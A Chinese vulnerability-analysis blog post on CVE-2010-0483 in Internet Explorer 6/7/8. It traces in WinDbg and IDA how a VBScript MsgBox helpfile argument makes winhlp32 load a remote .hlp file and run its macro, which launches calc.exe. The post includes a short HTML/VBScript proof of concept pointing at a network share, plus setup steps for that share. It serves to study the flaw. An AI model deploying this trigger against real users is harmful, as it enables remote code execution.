1. 程式人生 > >CVE-2010-0483分析 Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe' 'MsgBox()' Remote Code Execution

CVE-2010-0483分析 Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe' 'MsgBox()' Remote Code Execution

pre reat ctrl+ 進一步 calc 打開 find mman 客戶端

  相關資料:https://www.exploit-db.com/exploits/11615/

  目的是為了了解漏洞執行的流程。

根據資料準備服務端環境:

  用一臺win7當做是服務器,需要在win7上共享一個文件夾用於客戶端訪問。我的測試環境共享的文件夾是www。

  (1)啟用Guest來賓賬戶,共享文件夾時將Guest添加讀權限。此時在win7本機上應能訪問,但在局域網的XP虛擬機無法訪問 \\192.168.0.11\www\

  (2)運行 secpol.msc 打開本地安全策略->本地策略->用戶權限分配->拒絕從網絡訪問此計算機->去掉Guest 此時XP虛擬機可以訪問共享文件

  (3)在www目錄放置test.hlp文件和html文件提供給客戶端訪問

html文件內容大致如下

<html>
<body>
<script type="text/vbscript">
big = "\\192.168.0.11\www\test.hlp"
  
//For i=1 to 2500
//  big = big & "\..\"
//Next

MsgBox "please press F1 to save the world", ,"please save the world",big, 1
MsgBox "press F1 to close this annoying popup
", ,"", big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, 1 </script> </body> </html>

搜索vbscript MsgBox相關資料

  MsgBox(prompt[,buttons][,title][,helpfile,context])

參數helpfile可以指定對話框提供上下文相關幫助的幫助文件,那麽就是按下F1時,訪問了遠程指定的hlp文件

先大致看一眼hlp文件內容,發現了調用了calc.exe

技術分享

2、客戶端測試

打開IE,並用windbg attach進程,然後訪問html頁面並在彈出MsgBox時,按下F1出來下面的情況:

技術分享

技術分享

根據現象,似乎創建了一個新進程,可以通過ProcessHacker工具的Log查看,或者直接觀察任務管理器,進一步確認後,給CreateProcess下斷定位漏洞流程。

bp kernel32!CreateProcessW

按下F1,斷下後查看函數參數,執行了"C:\WINDOWS\winhlp32 -x",創建winhlp32.exe。 但卻沒有發現和"\\192.168.0.11\www\test.hlp"相關的信息

技術分享

再查看函數調用堆棧
技術分享


觀察WinHelpA、FindWinHelpWindow、LaunchHelp這重要函數。

根據IDA的分析 BOOL __stdcall WinHelpA(HWND hWndMain, LPCSTR lpszHelp, UINT uCommand, ULONG_PTR dwData)

先給WinHelpA下斷

bp USER32!WinHelpA 運行後,重新按F1後斷下根據棧上的參數確認了lpszHelp變量指向了"\\192.168.0.11\www\test.hlp"

IDA中F5反匯編USER32!WinHelpA 函數跟蹤lpszHelp變量,發現只有HFill 函數操作了這個變量。跟進HFill函數分析。

HFill函數分配內存,復制lpszHelp到該內存的偏移0x10處。

__stdcall HFill(LPCSTR lpszHelp, USHORT uCommand, ULONG_PTR dwData)
{
    if(lpszHelp != 0)
    {
        int len = strlen(lpszHelp) + 1;//ebx
        int s1 = 0;//esi;
        if(dwData != NULL)
        {
            loc_77D4762E
            BYTE tmp = (arg_4>>8&)0xFF;
            if(tmp != 1)
            {
                if(tmp == 2)s1 = *arg_8;
            }else{
                loc_77D47643
            }
            LPBYTE p = LocalAlloc(0x40,s1 + len + 0x10 );//分配內存
            if(p != NULL)
            {
                *(WORD *)(p+2) = uCommand;
                *(WORD *)p = 0;
                *(DWORD *)(p+8) = 0;
                if(lpszHelp != NULL)
                {
                    *(WORD *)(p+0xC) = 0x10;
                    strcpy((p+0x10),lpszHelp);//復制lpszHelp到分配的內存偏移0x10處
                }else{
                    *(WORD *)(p+0xC) = 0;
                }

                if(tmp!= 1 && s1 != 0)
                {
                    loc_77D47682
                }else if(tmp == 2 && s1 != 0){
                    loc_77D4765E
                }else{
                    *(DWORD *)(p+4) = dwData;
                }
                loc_77D3EE2F
                    *(WORD *)(p+0xE) = dx;

                return p;//返回了分配的地址
            }else{
                loc_77D47657
            }
        }
    }else{
        loc_77D3EE3A
    }
}

在WinHelpA函數剩下的流程中,FindWinHelpWindow 根據上面的調用堆棧知道該函數創建了winhlp32進程,並返回了窗口句柄。

技術分享

SendWinHelpMessage發送消息碼為0x38的消息並將HFill函數分配的內存作為lParam。

為了調試新創建的進程執行 .childdbg 1命令進行子進程調試,運行斷下後

技術分享

根據左下角的1表示斷在了新進程中。

因為SendMessage發送的不是隊列消息,所以要找到窗口的消息回調函數。一般消息回調函數都會調用默認的處理函數DefWindowProc

IDA分析winhlp32.exe,並在導入表中定位默認消息回調函數DefWindowProc,ctrl+x交叉引用找到引用的位置 。定位到了比較有可能是消息回調函數的HelpWndProc

技術分享

到達HelpWndProc後,繼續F5反匯編定位到了這段代碼

技術分享

技術分享

經確認消息碼確實是0x38。下斷bp winhlp32!HelpWndProc ".if(poi(esp+8) != 0x38){g}" ,斷下後跟進DispatcherProc

用pct命令對實際執行的函數,跳過不重要的函數,定位到了調用_GenerateMessage(0x407u, 0, (LPARAM)v24); 該函數發送了消息碼0x407,參數v24包含hlp路徑

重新查看HelpWndProc對0x407的處理,定位到

技術分享

因為hlp文件會創建計算器進程,再對CreateProcessW下斷,定位流程,斷下後查看函數調用堆棧

技術分享

ShellExecuteA這個的功能是運行一個外部程序。猜測應該是打開了計算器,重新下斷調試進行確認

winhlp32進程創建後, bp SHELL32!ShellExecuteA

技術分享

那就表示此時已經在執行hlp文件的內容了,再定位winhlp32!Execute下斷查看參數

根據IDA的分析 ; int __stdcall Execute(LPCSTR lpString2) 發現參數lpString2為hlp文件的內容 "EF("C:\\WINDOWS\\calc.exe",`‘,1) "。

再定位上層函數ConfigMacrosHde 用IDA進行反匯編

技術分享

可以看出ConfigMacrosHde函數的作用就是循環讀取hlp的內容並由Execute函數負責執行。

繼續定位上層函數 FReplaceCloneHde,重新調試,創建winhlp32.exe進行進程時 ,對FReplaceCloneHde下斷
bp winhlp32!FReplaceCloneHde

F5對上層函數ExecAPI 反匯編 可以知道FReplaceCloneHde 參數1是一個字符串指針,參數2是指向help文件路徑字符串指針的指針

技術分享

F5對FReplaceCloneHde進行反匯編,ConfigMacrosHde的數據來自v38,而v38來自於HCreate ,v5就是參數2 ppHelp指向hlp文件的指針的指針

技術分享 技術分享 技術分享

打開文件的流程是HdeCreate->sub_1019C49 ->HfsOpenFm->FPlungeQfshr->FidOpenFm->kernel32!_lopen

最後去掉共享,禁用Guest,恢復之前的準備工作。

CVE-2010-0483分析 Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe' 'MsgBox()' Remote Code Execution